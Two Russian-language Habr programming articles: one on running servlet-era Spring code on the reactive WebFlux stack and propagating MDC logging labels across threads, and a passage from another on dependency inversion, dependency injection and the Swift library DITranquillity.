*Всё сказанное здесь опирается лишь на небольшой опыт автора в решении одной практической задачи, поэтому статья не претендует на полноту охвата темы ни вширь, ни вглубь. Её цель – лишь обозначить* ***некоторые*** *проблемы и* ***возможные*** *решения для них. Кроме того, она не призывает скрещивать “ужа с ежом” (сервлеты с реактивщиной), а лишь подсказывает, как быть, если такое скрещивание оказалось необходимым.*
Дальнейший материал предполагает хотя бы шапочное знакомство читателя с реактивным стеком технологий в экосистеме Spring, а также наличие практического опыта работы с веб-приложениями на сервлет-контейнере типа Tomcat. Недостающие знания можно почерпнуть, например, в документации на Spring [здесь](https://docs.spring.io/spring-framework/docs/5.3.13/reference/html/web-reactive.html#spring-webflux) и [здесь](https://docs.spring.io/spring-framework/docs/5.3.13/reference/html/web.html#spring-web).
Подготовка зависимостей
-----------------------
#### Контекст проблемы
Историческая справкаПоявившийся в Spring 5 реактивный веб-фреймворк WebFlux был [задуман](https://docs.spring.io/spring-framework/docs/5.3.13/reference/html/web-reactive.html#webflux) как невытесняющая альтернатива старому доброму [WebMVC](https://docs.spring.io/spring-framework/docs/5.3.13/reference/html/web.html#spring-web), т.е. существуют и развиваются они оба, но в качестве серверного стека можно использовать только один. Дело не столько в вездесущих обёртках `Mono<>` и `Flux<>` вокруг результатов чуть ли не всех методов реактивного фреймворка, сколько в принципиально иной модели многопоточности под его капотом.
Поскольку большинство сервлетных Spring-приложений построено на WebMVC (в том числе через его Spring Boot стартер), очень многие приключения с реактивщиной начинаются словами: *“Заходит как-то раз WebMVC в classpath к реактивному сервису…”*
В зависимости от того, какие реактивные библиотеки используются (или будут) в приложении, их прямая или транзитивная встреча с WebMVC может закончиться по-разному. Например, Spring Cloud Gateway, построенный на WebFlux, [обозначает](https://docs.spring.io/spring-cloud-gateway/docs/3.0.5/reference/html/#gateway-starter) свою радикальную позицию сразу при запуске приложения:
```
11:20:19.437 WARN - [ main] sid: rid: - GatewayClassPathWarningAutoConfiguration :
**********************************************************
Spring MVC found on classpath, which is incompatible with Spring Cloud Gateway at this time.
Please remove spring-boot-starter-web dependency.
**********************************************************
***************************
APPLICATION FAILED TO START
***************************
```
Это хорошо, потому что fail-fast. Однако так везёт далеко не всегда. В более общем (и распространённом) случае, если просто смешать зависимости от WebMVC и WebFlux в одном classpath’е, то смесь не взорвётся, и ни во время компиляции, ни на запуске, скорее всего, ничего не сломается (по крайней мере, со стороны Spring). Даже предупреждений в логе не будет. И это не диверсия, а [сознательное](https://docs.spring.io/spring-framework/docs/5.3.13/reference/html/web-reactive.html#webflux) решение разработчиков:
> Applications can use one or the other module or, in some cases, both — for example, Spring MVC controllers with the reactive `WebClient`.
>
>
А какой же стек тогда поднимется: сервлетный (по умолчанию на Tomcat) или реактивный (по умолчанию на Netty)? Вероятно, авторы руководствовались упомянутым в цитате выше примером, поэтому в таком случае поднимется именно *сервлетный* стек. Логика выбора прописана в методе `WebApplicationType#deduceFromClasspath`, который вызывается на самом старте Spring Boot приложения:
```
static WebApplicationType deduceFromClasspath() {
if (ClassUtils.isPresent(WEBFLUX_INDICATOR_CLASS, null)
&& !ClassUtils.isPresent(WEBMVC_INDICATOR_CLASS, null)
&& !ClassUtils.isPresent(JERSEY_INDICATOR_CLASS, null)) {
return WebApplicationType.REACTIVE;
}
for (String className : SERVLET_INDICATOR_CLASSES) {
if (!ClassUtils.isPresent(className, null)) {
return WebApplicationType.NONE;
}
}
return WebApplicationType.SERVLET;
}
```
Как видно, эта логика опирается на состав classpath, а значит, чтобы на неё повлиять, придётся п(р)оиграть с зависимостями.
### Подготовка зависимостей
Есть несколько неоднозначных способов разрулить зависимости приложения так, чтобы снизить вероятность коллизий между реактивными и сервлетными компонентами. Ниже на примере Gradle приведены некоторые из этих способов в порядке убывания градуса безумства (но не до нуля).
#### “В лоб”
Если WebMVC был втянут транзитивно, и с виду это **не** жизненно важная зависимость, то её можно просто выкинуть (говорили они):
```
configurations {
implementation.exclude group: 'org.springframework.boot', module: 'spring-boot-starter-web'
}
```
Однако тогда надо быть готовым к тому, что у этого “недозвездолёта” уже в воздухе (в runtime) начнут отваливаться части. Например так:
```
***************************
APPLICATION FAILED TO START
***************************
Description:
Parameter 6 of constructor in springfox.documentation.spring.web.plugins.DocumentationPluginsBootstrapper required a bean of type 'javax.servlet.ServletContext' that could not be found.
Action:
Consider defining a bean of type 'javax.servlet.ServletContext' in your configuration.
```
Так происходит потому, что вместе с WebMVC исчезает зависимость от Tomcat или иного сервлет-контейнера, а вместе с ним – и зависимость от Servlet API, что совсем плохо для сторонних библиотек и прикладного кода, повязанного на сервлетном стеке.
По этой причине такой вариант годится далеко не во всех случаях.
#### "Выключатель"
Иногда поломавшаяся зависимость просто не может жить вне сервлетного стека, поэтому вполне адекватный вариант – отказаться от неё. Например, так [приходится](https://stackoverflow.com/a/51370760) поступить со встраиваемым мониторингом JavaMelody:
```
configurations {
compileClasspath.exclude group: 'net.bull.javamelody', module: 'javamelody-spring-boot-starter'
runtimeClasspath.exclude group: 'net.bull.javamelody', module: 'javamelody-spring-boot-starter'
}
```
Однако бывает так, что скандальный компонент нужен в classpath, но не в Spring-контексте. Тогда может пригодиться вариант следующий.
#### "Условность"
Если поломавшиеся Spring-компоненты не критичны при работе на реактивном стеке, их можно условно отключить путём навешивания вот такой аннотации:
```
@ConditionalOnWebApplication(type = SERVLET)
public class LogRequestAndResponseAspect {
```
Она позволит бину регистрироваться в контексте только если приложение сервлетное, не вызывая проблем в реактивном режиме. Понятно, что такой ~~костыль~~ вариант нельзя считать полноценным решением, поэтому можно пойти на…
#### Компромисс
Как видно, предыдущие варианты сводятся к тому, что мы сознательно отстреливаем себе разные части тела, пытаясь угадать, какие из них не понадобятся в дальнейшем. И хотя совсем без таких решений порой не обойтись, снизить их количество можно за счёт исключения WebMVC, но с оставлением Serlvet API в classpath, например, так:
```
dependencies {
// ...
configurations {
implementation.exclude group: 'org.springframework.boot', module: 'spring-boot-starter-web'
}
implementation group: 'javax.servlet', name: 'javax.servlet-api'
implementation group: 'org.springframework.boot', name: 'spring-boot-starter-webflux'
// ...
}
```
Задумка здесь в том, чтобы устранить WebMVC, но не настолько, чтобы в runtime утонуть в бесчисленных `NoClassDefFoundError`. Другими словами, мы не хотим поднимать полноценный сервлетный стек, но хотим, чтобы классы от Servlet API остались в classpath.
Разумеется, сам по себе последний вариант не позволит традиционному “сервлетному” коду работать на реактивном стеке. Но зато он наставит на истинный путь упомянутый выше метод `WebApplicationType#deduceFromClasspath`. Останется только починить всё то, что поотваливается ~~на фиг~~ от такого переключения.
Относительно простой вариант распределения зависимостей по Gradle-модулям реализован в прилагаемом [демо-проекте](https://github.com/Toparvion/reactivlet-sample).
### Попутное резюме
Эта вступительная часть заметки была отведена под самый неоднозначный этап, который наверняка у каждого читателя проходит как-то по своему. Тем не менее, от его прохождения будет зависеть успех на следующих шагах. А ближайший из них будет посвящён логированию.
---
Универсальная поддержка MDC
---------------------------
Одна из самых популярных задач, взрывающих мозг честным людям при переходе с сервлетного стека на реактивный, – это обеспечение повсеместного вывода [MDC-меток](http://slf4j.org/manual.html#mdc) в логах приложения.
Что такое MDC?Это строковые диагностические метки, которые позволяют легко находить в логах записи, относящиеся к одному этапу/аспекту/модулю приложения. Хрестоматийный пример: идентификатор пользовательского запроса (request id, `rid`) – позволяет выявить в логе все записи, относящиеся к обработке каждого входящего запроса, из какой бы части приложения эти записи не были сделаны.
### Проблема
В классических сервлетных приложениях эта задача решалась относительно просто за счёт того, что каждому входящему запросу, как правило, соответствовал **один** поток-обработчик в пуле сервлет-контейнера. Благодаря этому оснастка логирования могла переложить значение, например, `rid` из HTTP-заголовка или параметров в какую-либо поточно-локальную переменную (`ThreadLocal`), а потом обращаться к ней как к статической переменной из любого места приложения, зная, что в текущем потоке эта переменная теперь будет возвращать одно и то же значение (пока её не очистят после отправки ответа клиенту). Упрощённо это могло бы выглядеть примерно так:
```
public class ServletMdcFilter implements Filter { // [1]
@Override
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain chain) throws ServletException, IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) request;
String rid = httpServletRequest.getParameter("rid");
MDC.put("rid", rid); // [2]
try {
chain.doFilter(request, response);
} finally {
MDC.remove("rid");
}
}
}
```
1️⃣ Класс `Filter` импортирован из `javax.servlet.Filter`.
2️⃣ Здесь под вызовом `put` скрывается обращение к поточно-локальной map’е. Например, в имплементации `org.slf4j.helpers.BasicMDCAdapter` она объявлена так:
```
private InheritableThreadLocal> inheritableThreadLocal
```
Однако с переходом на стек реактивный вся эта прелесть работать перестала. И дело не только в том, что принцип “один запрос – один поток” перестал соблюдаться, но и в том, что фильтры из Servlet API по понятным причинам вообще перестали как-либо учитываться и всё происходящее в них игнорируется.
### Вывод решения
Примечание для буквоедовЭрудированный читатель наверняка знает, что задаче проброса MDC-меток в документации на Project Reactor посвящен [отдельный пункт в FAQ](https://projectreactor.io/docs/core/release/reference/#faq.mdc). Почему бы просто не последовать ему? Потому что он предполагает написание **новой** логики в реактивном стиле, в то время как здесь решается задача адаптации **существующей** (императивной) логики к работе в реактивном окружении.
#### Короче (TL;DR)
Ради полноты понимания здесь будет изложен весь ход получения финального решения. Однако для страждущих результата “прям ща” предусмотрен короткий путь – [готовые классы](https://github.com/Toparvion/reactivlet-sample/tree/main/shared/src/main/java/pro/toparvion/sample/reactivlet/shared) `ReactiveMdcFilter` и `ServletMdcFilter` в прилагаемом демо-проекте.
#### Переход на WebFilter
На первый взгляд может показаться, что “мигрировать” проброс MDC-меток с сервлетного стека на реактивный очень просто – достаточно поменять приведённый выше фильтр на соответствующий реактивный аналог `org.springframework.web.server.WebFilter`. Его основное отличие состоит лишь в том, что метод `filter` возвращает уже не чистый `void`, а обёртку `Mono`. Ну, и пара “запрос/ответ” собрана в один объект `exchange`. В остальном смысл, вроде как, тот же, так что переписать не сложно:
```
public class ReactiveMdcFilter implements WebFilter {
private static final Logger log = LoggerFactory.getLogger(ReactiveMdcFilter.class);
@Override
public Mono filter(ServerWebExchange exchange, WebFilterChain chain) {
String rid = exchange.getRequest().getQueryParams().getFirst("rid");
MDC.put("rid", rid);
log.trace("Выставлена метка rid={}", rid); // [1]
try {
return chain.filter(exchange); // [2]
} finally {
MDC.remove("rid");
log.trace("Убрана метка rid={}", rid); // [1]
}
}
}
```
1️⃣ Добавим чуток логирования для ясности происходящего.
2️⃣ Раньше здесь не было `return`, и выход из метода был просто в конце тела. Но ведь у нас используется `finally`, а значит его логика выполнится по-любому, каким бы путём мы не выходили из `try {}`. Короче, всё должно быть хорошо.
Однако, если применить такой фильтр и отправить приложению запрос с URL-параметром `rid=123`, поведение окажется, мягко говоря, неожиданным:
```
17:34:09.710 rid:123 TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Выставлена метка rid=123
17:34:09.710 rid: TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Убрана метка rid=123
17:34:09.751 rid: INFO --- [ctor-http-nio-3] p.t.s.g.g.GatewayDemoWebFluxApplication : Перенаправляю запрос...
```
, то есть метка, вроде как, успешно поставилась и даже один раз отсветила в логе, но в то же мгновение зачем-то самоуничтожилась, оставив последующую прикладную логику ни с чем. При этом поток не менялся и вообще ничего подозрительного вокруг не происходило.
Дело вот в чём. Во-первых, вызов `return chain.filter(exchange)` – это пример реактивного [конвейера](https://projectreactor.io/docs/core/release/reference/#_the_assembly_line_analogy) (набора действий в реактивном стиле). Обычно такие конвейеры включают в себя какие-либо действия над пропускаемыми через него данными, и эти действия часто задаются лямбда-выражениями или ссылками на методы. Здесь ни того, ни другого нет, но это не значит, что нет их и дальше в цепочке фильтров, которой мы делегируем управление. Во-вторых, реактивные конвейеры выполняются как бы в два прохода. На первом проходе хоть и выполняется код, но он *не запускает* обработку данных в конвейере, а лишь *декларирует* его, т.е. описывает, из каких элементов он состоит, и как эти элементы связаны друг с другом. Сами действия над данными откладываются за счёт упомянутых выше ленивых конструкций типа лямбд и ссылок. И больше ничего не произойдёт до тех пор, пока у конвейера не [появится подписчик](https://projectreactor.io/docs/core/release/reference/#reactive.subscribe). Появиться он может только за счёт возвращаемого хвостика `Mono<>` или `Flux<>`, у которых есть метод `subscribe`. И вот когда появится, это и будет второй проход: начнут выполняться декларированные ранее действия.
Так вот в нашем случае получается, что очистка MDC-метки в блоке `finally` честно отрабатывает ещё на *первом* проходе, когда конвейер только строится, т.е. до того, как по нему пошли данные HTTP-запроса.
#### Прививка реактивности
Чтобы это исправить, нужно перенести оба действия с меткой на *второй* проход. Выставление метки в таком случае будет лучше сделать в момент подписки – для этого есть метод `doOnSubscribe`. А удаление – после завершения обработки, причём независимо от результата (для этого есть метод с внезапным именем `doFinally`):
```
public class ReactiveMdcFilter implements WebFilter {
private static final Logger log = LoggerFactory.getLogger(ReactiveMdcFilter.class);
@Override
public Mono filter(ServerWebExchange exchange, WebFilterChain chain) {
String rid = exchange.getRequest().getQueryParams().getFirst("rid");
return chain.filter(exchange) // [1]
.doOnSubscribe(subscription -> { // [2]
MDC.put("rid", rid);
log.trace("Выставлена метка rid={}", rid);
})
.doFinally(whatever -> { // [3]
MDC.remove("rid");
log.trace("Убрана метка rid={}", rid);
});
}
}
```
1️⃣ Даём последующим фильтрам возможность дополнить цепочку своими звеньями. Здесь важно понимать, что это ещё не обработка запроса, как было бы в традиционной сервлетной цепочке, а лишь декларация новых звеньев. Именно поэтому мы можем описывать дополняемые нами действия *после* того, как этот метод вернёт управление.
2️⃣ Здесь `subscription` – это экземпляр `org.reactivestreams.Subscription`, но нам он пока не интересен.
3️⃣ Здесь `whatever` – это элемент перечисления `reactor.core.publisher.SignalType` – тип сигнала, с которым завершает свою работу конвейер, но он нам пока тоже не интересен.
Будет ли такая конструкция работать? Конечно!
```
11:07:12.963 rid:123 TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Выставлена метка rid=123
11:07:13.010 rid:123 INFO --- [ctor-http-nio-3] p.t.s.g.g.GatewayDemoWebFluxApplication : Перенаправляю запрос...
11:07:13.231 rid: TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Убрана метка rid=123
```
… но только до тех пор, пока вся обработка запроса (и построение конвейера, и его выполнение) остаётся в одном потоке. По умолчанию Reactor не будет плодить потоки или как-либо переключать их без ведома разработчика. Однако одна из его сильнейших сторон как раз и состоит в том, чтобы это делать, причём с минимальными усилиями разработчика. А понадобиться это может, например, для того, чтобы вынести какой-либо старый синхронный (ещё пока не реактивный) код в отдельный поток, взятый из специального пула (не конкурирующего с основным). В Project Reactor это [делается](https://projectreactor.io/docs/core/release/reference/#faq.wrap-blocking) буквально одним оператором `subscribeOn(Schedulers.boundedElastic())`, и в рассматриваемом примере приведёт вот к чему:
```
12:34:08.192 rid:123 TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Выставлена метка rid=123
12:34:08.238 rid: INFO --- [oundedElastic-1] p.t.s.g.g.GatewayDemoWebFluxApplication : Синхронно перенаправляю запрос...
12:34:08.332 rid: TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Убрана метка rid=123
```
Здесь видно, что прикладная логика выполняется в потоке `boundedElastic-1`, отличном от исходного `reactor-http-nio-3`, поэтому поточно-локальная переменная недоступна, и MDC-метка `rid` не выведена. В силу врождённой асинхронности и неблокируемости, Reactor может жонглировать потоками, нарушая некогда непреложный принцип “один запрос – один поток”. Однако эта же способность является его сильной стороной, и с ней нужно уметь уживаться.
#### Дополнение
До выхода Project Reactor версии 3.3 у этой задачи было только весьма [разлапистое](https://ttddyy.github.io/mdc-with-webclient-in-webmvc/#spring-boot-21-reactor-32) решение. Однако с выходом v3.3 появилась возможность декорировать задачи, раздаваемые [планировщикам](https://projectreactor.io/docs/core/release/reference/#schedulers) на выполнение. Это делается при помощи т.н. хуков – методов, принимающих исходный `Runnable` и возвращающих его декорированный вариант. Благодаря такому подходу они могут назначать действия для выполнения как в декорирующем потоке, так и в целевом. В том же классе `ReactiveMdcFilter` выглядеть это может примерно так:
```
@PostConstruct // [1]
void setupThreadsDecorator() {
Schedulers.onScheduleHook("mdc", runnable -> {
String rid = MDC.get("rid"); // [2]
return () -> {
MDC.put("rid", rid); // [3]
log.trace("Метка 'rid' перенесена в поток");
try {
runnable.run();
} finally {
MDC.remove("rid"); // [4]
log.trace("Метка 'rid' отвязана от потока");
}
};
});
}
@PreDestroy // [5]
void shutdownThreadsDecorator() {
Schedulers.resetOnScheduleHook("mdc");
}
```
1️⃣ Говорим Spring’у, что хотим позвать этот метод после того, как содержащий его бин будет создан и проинициализирован самим фреймворком. Здесь неявно предполагается, что этот бин будет синглтоном (что по умолчанию в Spring’е уже так).
2️⃣ Извлекаем текущее значение метки. Под текущим понимается то, которое было выставлено описанным ранее фильтром. Такая связность обеспечивается тем, что именно эта часть декоратора выполняется ещё в *исходном*, а не ответвлённом потоке.
3️⃣ Кладём извлечённое ранее значение метки в то же самое место, но уже в *ответвлённом* потоке.
4️⃣ Очищаем метку безотносительно к тому, чем закончилось выполнение задачи. Это важно потому, что поток скоро вернётся в пул и может быть снова выдан кому-нибудь в работу. Если не очистить метку и новый “хозяин” не перезатрёт её своей, читатель логов сойдёт с ума, пытаясь понять, почему у него в одну выборку попадают записи от абсолютно не связанных между собой действий.
5️⃣ Удаляем назначенный хук по выбранному ранее условному имени `mdc`. В большинстве нормальных программ это произойдёт лишь перед самым выключением, т.е. в принципе этого можно и не делать. Но в некоторых случаях (например, при горячей перезагрузке контекста) такой клининг всё же может быть полезным.
Теперь, даже несмотря на оборачивание синхронного кода в отдельный поток, MDC-метка всё равно корректно выводится на каждом шаге:
```
14:17:07.803 rid:123 TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Выставлена метка rid=123
14:17:07.861 rid:123 TRACE --- [oundedElastic-1] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Метка 'rid' перенесена в этот поток
14:17:07.861 rid:123 INFO --- [oundedElastic-1] p.t.s.g.g.GatewayDemoWebFluxApplication : Синхронно перенаправляю запрос...
14:17:07.945 rid: TRACE --- [oundedElastic-1] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Метка 'rid' отвязана от этого потока
14:17:07.955 rid: TRACE --- [ctor-http-nio-3] p.t.s.g.gatewaydemo.ReactiveMdcFilter : Убрана метка rid=123
```
Справедливости ради надо отметить, что таким решением можно охватить только те потоки, которые ответвляются реактивными планировщиками, а это, увы, не все случаи жизни. Однако на первых порах для адаптации сервлетной логики к реактивным реалиям этого должно быть достаточно.
#### Двойное гражданство
Написанный нами фильтр теперь будет вполне естественно чувствовать себя в реактивной среде. Но что если этот фильтр окажется/является частью общего модуля (библиотеки), который может быть подключён как реактивному, так и к сервлетному приложению? Очевидно, что с сервлетным он уже не заработает (хотя бы потому, что имплементации `WebFilter` не будут никем вызваны).
Одно из решений состоит в том, чтобы сделать новый реактивный фильтр не заменой, а альтернативным дополнением к сервлетному (подобно отношениям между WebFlux и WebMVC), то есть чтобы существовали оба, но использовался только один. Этого можно достичь использованием встроенной в Spring Boot аннотации `@ConditionalOnWebApplication`, которая на примере *реактивного* фильтра может выглядеть так:
```
@Component
@ConditionalOnWebApplication(type = REACTIVE) // [1]
public class ReactiveMdcFilter implements WebFilter {
```
1️⃣ Здесь `REACTIVE` – это сокращённое заклинание `import static org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication.Type.REACTIVE;`
Соответственно, для *сервлетного* стека та же аннотация может выглядеть так:
```
@Component
@ConditionalOnWebApplication(type = SERVLET) // [1]
public class ServletMdcFilter extends GenericFilterBean { // [2]
```
1️⃣ Здесь может возникнуть соблазн не указывать эту аннотацию вовсе, ведь мы рассматриваем только два варианта: реактивный и сервлетный. Однако так лучше не делать, потому что (1) такое указание делает намерения разработчика более явными, а значит, и код – более предсказуемым; (2) с точки зрения Spring Boot есть ещё третий тип приложений – условно говоря, “никакой” – это когда никакого веб-сервера нет вообще (например, в CLI-приложении или serverless unit). На такие случаи может реагировать специальная аннотация `ConditionalOnNotWebApplication`.
2️⃣ `GenericFilterBean` – это Spring’овая адаптация упоминавшегося ранее интерфейса `javax.servlet.Filter`, просто она умеет чуть больше (имплементирует всего-то 7 интерфейсов).
В таком виде в приложении появляется “подстилка” под оба режима работы – и сервлетный, и реактивный, но каждая “оживает” только в своём режиме и не мешается в другом. Однако важно отметить, что поскольку MDC в этом подходе выставляется *лишь раз*, он **может некорректно работать** в случае *множества* событий, курсирующих между клиентом и сервером (например, WebSocket или SSE). Спасибо [@OlehDokuka](https://twitter.com/OlehDokuka) за это ценное примечание!
Полные тексты обоих фильтров приведены в пакете [shared](https://github.com/Toparvion/reactivlet-sample/tree/main/shared/src/main/java/pro/toparvion/sample/reactivlet/shared) прилагаемого демо-проекта.
### Попутное резюме
Эта заметка была призвана вооружить читателя новой техникой обобщения логики между стеками. Имея её в арсенале, можно подступиться к более сложной задаче, например, сделать текущий HTTP-запрос повсеместно доступным независимо от стека. Этому нетривиальному вопросу и будет посвящена [следующая](https://habr.com/ru/company/cft/blog/648821/) заметка. | https://habr.com/ru/post/647479/ | null | ru | null |
# Спокойствие спокойствию рознь
 Три года назад, я написал [статью](https://habrahabr.ru/post/311334/) о DI библиотеке для языка Swift. С того момента библиотека сильно измененилась и стала ~~лучшей в своем роде~~ достойным конкурентом Swinject, превосходящяя его по многим показателям. Статья посвящена возможностям библиотеки, но и имеет теоретические рассуждения. Итак, кому интересны темы DI, DIP, IoC или кто делает выбор между Swinject и Swinject прошу под кат:
Что такое DIP, IoC и с чем его едят?
====================================
Теория DIP и IoC
----------------
Теория одна из важнейших составляющих в программировании. Да, можно писать код и без образования но, несмотря на это программисты постоянно читают статьи, интересуются различными практиками и т.п. То есть так или иначе получаю теоретические знания, чтобы применить их на практике.
Одна из тем, которую любят спрашивать на собеседованиях — [SOLID](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)). Нет статья вовсе не о нем, не пугайтесь. Но одна буква нам понадобится, так как тесно связана с моей библиотекой. Это буква `D` — Принцип инверсии зависимостей.
Принцип Инверсии зависимостей гласит:
* Модули верхних уровней не должны зависеть от модулей нижних уровней. Оба типа модулей должны зависеть от абстракций.
* Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.
Многие ошибочно предполагают, что если они используют протоколы/интерфейсы, то они автоматически соблюдают этот принцип, но это не совсем так.
Первое утверждение, говорит что-то о зависимостях между модулями — модули должны зависеть от абстракций. Постой, а что такое абстракция? – Лучше спросить себя не что такое абстракция, а что такое абстрагирование? То есть надо понять, в чем заключается процесс, а результат этого процесса будет абстракция. **Абстрагирование** – это отвлечение в процессе познания от не существенных сторон, свойств, связей с целью выделения существенных, закономерных признаков.
Один и тот же объект в зависимости от целей может иметь разные абстракции. Например, машина с точки зрения владельца имеет следующие важные свойства: цвет, изящность, удобство. А вот с точки зрения механика все несколько иначе: марка, модель, модификация, пробег, участие в ДТП. Только что были названы две разные абстракции для одного объекта – машина.
Заметим, что в Swift для абстракций принято использовать протоколы, но это не обязательное требование. Никто не мешает сделать класс, выделить у него набор публичных методов, а детали реализации оставить приватными. С точки зрения абстрагирования ничего не нарушено. Надо запомнить важный тезис — «абстрагирование не имеет привязки к языку» – это процесс, который происходит у нас постоянно в голове, и каким образом это переносится в код, не так важно. Тут можно еще упомянуть инкапсуляцию, как пример того, что имеет привязку к языку. На каждом языке есть свои средства для того чтобы её обеспечить. На Swift это классы, поля доступа и протоколы; на Obj-C интерфейсы, протоколы и разделение на h и m файлы.
второе утверждение более интересное, так-как его игнорируют или недопонимают. Оно говорит про взаимодействие абстракций с деталями, а что такое детали? Есть ошибочное мнение, что детали это классы, которые реализуют протоколы – да это правда, но не полная. Надо понимать, что детали не привязаны к языкам программирования – язык С не имеет ни протоколов, ни классов, но на него тоже действует этот принцип. Мне сложно теоретически объяснить в чем подвох, поэтому приведу два примера, а потом попробую доказать, почему второй пример правильнее.
Предположим, есть класс автомобиль и класс двигатель. Так сложилось, что надо их связать – машина содержит двигатель. Мы как грамотные программисты выделяем протокол двигатель, реализуем протокол и передаем реализацию по протоколу в класс машины. Вроде все хорошо и правильно – теперь можно легко подменить реализацию двигателя и не думать о том, что что-то сломается. Далее в схему добавляется механик двигателей. Его в двигателе интересует совсем другие характеристики, нежели машину. Мы расширяем протокол и теперь он содержит больший набор характеристик, чем изначально. История повторяется для владельца автомобиля, для завода производящего двигатели и т.д.
Но где ошибка в рассуждениях? Проблема в том, что описанная связь, несмотря на наличие протоколов, на самом деле «деталь» — «деталь». А точнее в том как назван и где находится протокол двигатель.
Теперь рассмотрим ~~правильный~~ другой вариант.
Как и раньше есть два класса – двигатель и автомобиль. Как и раньше их надо связать. Но теперь объявляем протокол «Двигатель автомобиля» или «Сердце автомобиля». В нем помещаем только те характеристики, которые нужны автомобилю от двигателя. И размещаем протокол не рядом с его реализацией «двигатель», а рядом с машиной. Далее если нам понадобится механик, то надо будет создать еще один протокол и реализовать его в двигателе. Вроде ничего не изменилось, но подход кардинально другой — вопрос не сколько в названиях, а в том кому протоколы принадлежат, и чем являются протокол — «абстракцией» или же «деталью».
Теперь проведем аналогию с другим кейсом, так как, эти доводы могут быть не очевидны.
Есть backend и от него нужен какойто функционал. Backend выдает нам большой метод, который содержит кучу данных, и говорит — «вам нужны вот таких 3 поля из 1000»
**Небольшая история**Многие могут сказать, что такое не бывает. И будут относительно правы — бывает backend пишется для мобильного приложения отдельный. Так сложилось, что я работал в компании где backend это сервис с 10 летней историей который помимо прочего завязан на государственное API. По многим причинам в компании было не принято писать под мобилу отдельный метод, и приходилось пользоваться тем что есть. А был там один чудесный метод с порядка сотни параметров в корне и часть из них были вложенными словарями. А теперь представьте себе 100 параметров, 20% из которых имеют вложенные параметры, и внутри каждого вложенного еще по 20-30 параметров имеющих все теже вложенности. Я не помню точно, но количество параметров превышала 800 для простых объект, а для сложных могло быть и выше 1000.
Звучит както не очень, правда? Обычно backend пишет метод под конкретные задачи для frontend, и frontend является заказчиком/пользователем этих методов. Хм… А ведь если подумать то backend это двигатель, а frontend это машина – машине нужны некоторые характеристики двигателя, а не двигателю нужно отдавать характеристики для машины. Так почему, не смотря на это мы продолжаем писать протокол Двигатель и располагать его ближе к реализации двигателя, а не машины? Все дело в масштабах – в большинстве iOS программ очень редко приходиться расширять функционал на столько, что бы подобное решение стало проблемой.
А что тогда такое DI
--------------------
Тут есть подмена понятий – DI это не сокращение от DIP, а совершенно другая аббревиатура, несмотря на то что очень тесно пересекается c DIP. DI — это внедрение зависимостей или Dependency Injection, а не Inversion. Инверсия говорит о том, как классы и протоколы должны взаимодействовать между собой, а внедрение рассказывает откуда их брать. В общем случае внедрять можно различными способами – начиная, куда приходят зависимости: конструктор, свойство, метод; заканчивая тем, кто их создает и насколько этот процесс автоматизирован. Подходы бывают разные но, на мой взгляд, самый удобными являются контейнеры для внедрения зависимостей. Если коротко, то весь их смысл сводится к простому правилу: Сообщаем контейнеру, где и как нужно внедрять и после все внедряется самостоятельно. Этот подход соответствует «настоящему внедрению зависимостей» — это когда классы, в которые внедряются зависимости ничего не знают о том как это происходит, то есть они пассивны.
На многих языках для настоящего внедрения используется следующий подход: В отдельных классах/файлах описываются правила внедрения с использованием синтаксиса языка, после чего они компилируются и автоматически внедряются. Магии никакой нет – автоматически ничего не происходит, просто библиотеки тесно интегрируются с базовыми средствами языка, и перегружают методы создания. Так для Swift/Obj-C принято считать, что стартовой точкой является UIViewController, и библиотеки умеют легко сами внедряться в создаваемый ViewController из Storyboard. Правда если не пользоваться Storyboard, то часть работы придется делать ручками.
Ах да, чуть не забыл – ответ на главный вопрос, «зачем нам это?» Бесспорно, можно самому заботится о внедрении зависимостей, прописывать все ручками. Но возникают проблемы, когда графы становятся большими – приходится упоминать много связей между классами, код начинает сильно разрастаться. Поэтому эту заботу на себя берут библиотеки, которые автоматически внедряют рекурсивно (и даже циклически) зависимости, и как бонус контролируют их время жизни. То есть библиотека не делает ничего сверх естественного – она просто упрощает жизнь разработчика. Правда, не думайте, что написать подобную библиотеку можно за день – одно дело написать ручками все зависимости для конкретного случая, другое дело научить компьютер внедрять универсально и правильно.
История библиотеки
==================
Рассказ был бы не полный, если бы я не рассказал кратко историю. Если вы следите за библиотекой с бета версии вам будет не так интересно, но для тех, кто видит её в первый раз, думаю стоит понимать, как она появилась и каких целей придерживался автор (то бишь я).
Библиотека была моим вторым проектом, который я решил, в целях самообразования, написать на Swift. До этого успел написать логгер, но не выкладывал его в публичный доступ – есть лучше и качественнее.
А вот с DI история интересней. Когда я начал его делать, удалось найти только одну библиотеку на Swift – Swinject. На тот момент у неё было 500 звезд и баги о том, что циклы нормально не обрабатываются. Посмотрел я на все это и… Мое поведение лучше всего описывает любимая фраза «И тут Остапа понесло» — я прошелся по 5-6 языкам, посмотрел, что есть в этих языках, почитал статьи на эту тему и осознал — можно сделать лучше. И сейчас по пришествию почти трех лет могу с уверенностью сказать – цель достигнута, на текущий момент DITranquillity лучшая в моем мировоззрении.
Давайте поймем, а что есть хорошая DI библиотека:
* Она должна обеспечивать все базовые внедрения: конструктор, свойства, методы
* Она не должна влиять на бизнес код
